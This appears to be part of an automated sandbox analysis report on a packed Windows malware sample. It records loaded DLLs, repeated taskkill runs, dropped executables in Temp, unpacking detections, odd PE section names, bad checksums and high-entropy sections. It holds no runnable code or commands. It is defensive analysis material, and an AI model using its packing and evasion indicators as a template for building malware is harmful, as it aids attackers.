Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2891264 > 1048576

Source: file.exe

Static PE information: Raw size of muoxnbrn is bigger than: 0x100000 < 0x298600

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Unpacked PE file: 3.2.OLR88CERN7VQFRQ38J.exe.130000.0.unpack :EW;.rsrc:W;.idata :W; :EW;toioyzgt:EW;nacjdqiu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;toioyzgt:EW;nacjdqiu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Unpacked PE file: 4.2.ENORVNMU067PBMHUGECCERYC06W3ZY.exe.4d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;iadgvtjq:EW;xuvqjoqm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;iadgvtjq:EW;xuvqjoqm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Unpacked PE file: 6.2.BF3BS0M5707K28RGW9.exe.a30000.0.unpack :EW;.rsrc:W;.idata :W;zsdjwali:EW;xurnmcxc:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Unpacked PE file: 9.2.aae25c676b.exe.e30000.0.unpack :EW;.rsrc :W;.idata :W;muoxnbrn:EW;ckkqhetw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;muoxnbrn:EW;ckkqhetw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Unpacked PE file: 10.2.7d61336cf8.exe.a20000.0.unpack :EW;.rsrc :W;.idata :W; :EW;iadgvtjq:EW;xuvqjoqm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;iadgvtjq:EW;xuvqjoqm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Unpacked PE file: 21.2.aae25c676b.exe.e30000.0.unpack :EW;.rsrc :W;.idata :W;muoxnbrn:EW;ckkqhetw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;muoxnbrn:EW;ckkqhetw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 30.2.skotes.exe.130000.0.unpack :EW;.rsrc:W;.idata :W; :EW;toioyzgt:EW;nacjdqiu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;toioyzgt:EW;nacjdqiu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Unpacked PE file: 32.2.7d61336cf8.exe.a20000.0.unpack :EW;.rsrc :W;.idata :W; :EW;iadgvtjq:EW;xuvqjoqm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;iadgvtjq:EW;xuvqjoqm:EW;.taggant:EW;

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00F642DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

12_2_00F642DE

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.5.dr	Static PE information: real checksum: 0x2c94dc should be: 0x2c25f9
Source: num[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: num.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: 7d61336cf8.exe.5.dr	Static PE information: real checksum: 0x1ce0d1 should be: 0x1c4e20
Source: OLR88CERN7VQFRQ38J.exe.0.dr	Static PE information: real checksum: 0x1dbe5c should be: 0x1d8df2
Source: aae25c676b.exe.5.dr	Static PE information: real checksum: 0x2c94dc should be: 0x2c25f9
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe.0.dr	Static PE information: real checksum: 0x1ce0d1 should be: 0x1c4e20
Source: file.exe	Static PE information: real checksum: 0x2c94dc should be: 0x2c25f9
Source: random[1].exe0.5.dr	Static PE information: real checksum: 0x1ce0d1 should be: 0x1c4e20
Source: skotes.exe.3.dr	Static PE information: real checksum: 0x1dbe5c should be: 0x1d8df2
Source: BF3BS0M5707K28RGW9.exe.0.dr	Static PE information: real checksum: 0x2b72de should be: 0x2b0668

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: muoxnbrn
Source: file.exe	Static PE information: section name: ckkqhetw
Source: file.exe	Static PE information: section name: .taggant
Source: OLR88CERN7VQFRQ38J.exe.0.dr	Static PE information: section name:
Source: OLR88CERN7VQFRQ38J.exe.0.dr	Static PE information: section name: .idata
Source: OLR88CERN7VQFRQ38J.exe.0.dr	Static PE information: section name:
Source: OLR88CERN7VQFRQ38J.exe.0.dr	Static PE information: section name: toioyzgt
Source: OLR88CERN7VQFRQ38J.exe.0.dr	Static PE information: section name: nacjdqiu
Source: OLR88CERN7VQFRQ38J.exe.0.dr	Static PE information: section name: .taggant
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe.0.dr	Static PE information: section name:
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe.0.dr	Static PE information: section name: .rsrc
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe.0.dr	Static PE information: section name: .idata
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe.0.dr	Static PE information: section name:
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe.0.dr	Static PE information: section name: iadgvtjq
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe.0.dr	Static PE information: section name: xuvqjoqm
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe.0.dr	Static PE information: section name: .taggant
Source: BF3BS0M5707K28RGW9.exe.0.dr	Static PE information: section name:
Source: BF3BS0M5707K28RGW9.exe.0.dr	Static PE information: section name: .idata
Source: BF3BS0M5707K28RGW9.exe.0.dr	Static PE information: section name: zsdjwali
Source: BF3BS0M5707K28RGW9.exe.0.dr	Static PE information: section name: xurnmcxc
Source: BF3BS0M5707K28RGW9.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: toioyzgt
Source: skotes.exe.3.dr	Static PE information: section name: nacjdqiu
Source: skotes.exe.3.dr	Static PE information: section name: .taggant
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .rsrc
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name: muoxnbrn
Source: random[1].exe.5.dr	Static PE information: section name: ckkqhetw
Source: random[1].exe.5.dr	Static PE information: section name: .taggant
Source: aae25c676b.exe.5.dr	Static PE information: section name:
Source: aae25c676b.exe.5.dr	Static PE information: section name: .rsrc
Source: aae25c676b.exe.5.dr	Static PE information: section name: .idata
Source: aae25c676b.exe.5.dr	Static PE information: section name: muoxnbrn
Source: aae25c676b.exe.5.dr	Static PE information: section name: ckkqhetw
Source: aae25c676b.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: iadgvtjq
Source: random[1].exe0.5.dr	Static PE information: section name: xuvqjoqm
Source: random[1].exe0.5.dr	Static PE information: section name: .taggant
Source: 7d61336cf8.exe.5.dr	Static PE information: section name:
Source: 7d61336cf8.exe.5.dr	Static PE information: section name: .rsrc
Source: 7d61336cf8.exe.5.dr	Static PE information: section name: .idata
Source: 7d61336cf8.exe.5.dr	Static PE information: section name:
Source: 7d61336cf8.exe.5.dr	Static PE information: section name: iadgvtjq
Source: 7d61336cf8.exe.5.dr	Static PE information: section name: xuvqjoqm
Source: 7d61336cf8.exe.5.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0559957B push ss; retf	0_3_0559957C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0559957B push ss; retf	0_3_0559957C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0559957B push ss; retf	0_3_0559957C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05599BFD push ss; ret	0_3_05599C16
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05599BFD push ss; ret	0_3_05599C16
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05599BFD push ss; ret	0_3_05599C16
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05591000 push cs; retf	0_3_05591052
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0559957B push ss; retf	0_3_0559957C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0559957B push ss; retf	0_3_0559957C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0559957B push ss; retf	0_3_0559957C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05599BFD push ss; ret	0_3_05599C16
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05599BFD push ss; ret	0_3_05599C16
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05599BFD push ss; ret	0_3_05599C16
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0559957B push ss; retf	0_3_0559957C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0559957B push ss; retf	0_3_0559957C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0559957B push ss; retf	0_3_0559957C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05599BFD push ss; ret	0_3_05599C16
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05599BFD push ss; ret	0_3_05599C16
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05599BFD push ss; ret	0_3_05599C16
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0100B261 pushad ; ret	0_3_0100B271
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0559957B push ss; retf	0_3_0559957C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0559957B push ss; retf	0_3_0559957C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0559957B push ss; retf	0_3_0559957C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05599BFD push ss; ret	0_3_05599C16
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05599BFD push ss; ret	0_3_05599C16
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05599BFD push ss; ret	0_3_05599C16
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Code function: 6_2_00BBE849 push eax; mov dword ptr [esp], 1FFF0D71h	6_2_00BBE885
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Code function: 6_2_00BBE849 push 7E23A34Eh; mov dword ptr [esp], edi	6_2_00BBE8B6
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Code function: 6_2_00BBE849 push edi; mov dword ptr [esp], 78796393h	6_2_00BBE8DA
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Code function: 6_2_00BD50BD push eax; mov dword ptr [esp], ecx	6_2_00BD5335
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Code function: 6_2_00BD50BD push 124AFC5Bh; mov dword ptr [esp], esi	6_2_00BD533D

Source: file.exe	Static PE information: section name: entropy: 7.981854671595565
Source: OLR88CERN7VQFRQ38J.exe.0.dr	Static PE information: section name: entropy: 7.979892252355736
Source: OLR88CERN7VQFRQ38J.exe.0.dr	Static PE information: section name: toioyzgt entropy: 7.953146001385448
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe.0.dr	Static PE information: section name: iadgvtjq entropy: 7.954098168517312
Source: BF3BS0M5707K28RGW9.exe.0.dr	Static PE information: section name: entropy: 7.798959629767368
Source: skotes.exe.3.dr	Static PE information: section name: entropy: 7.979892252355736
Source: skotes.exe.3.dr	Static PE information: section name: toioyzgt entropy: 7.953146001385448
Source: random[1].exe.5.dr	Static PE information: section name: entropy: 7.981854671595565
Source: aae25c676b.exe.5.dr	Static PE information: section name: entropy: 7.981854671595565
Source: random[1].exe0.5.dr	Static PE information: section name: iadgvtjq entropy: 7.954098168517312
Source: 7d61336cf8.exe.5.dr	Static PE information: section name: iadgvtjq entropy: 7.954098168517312

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
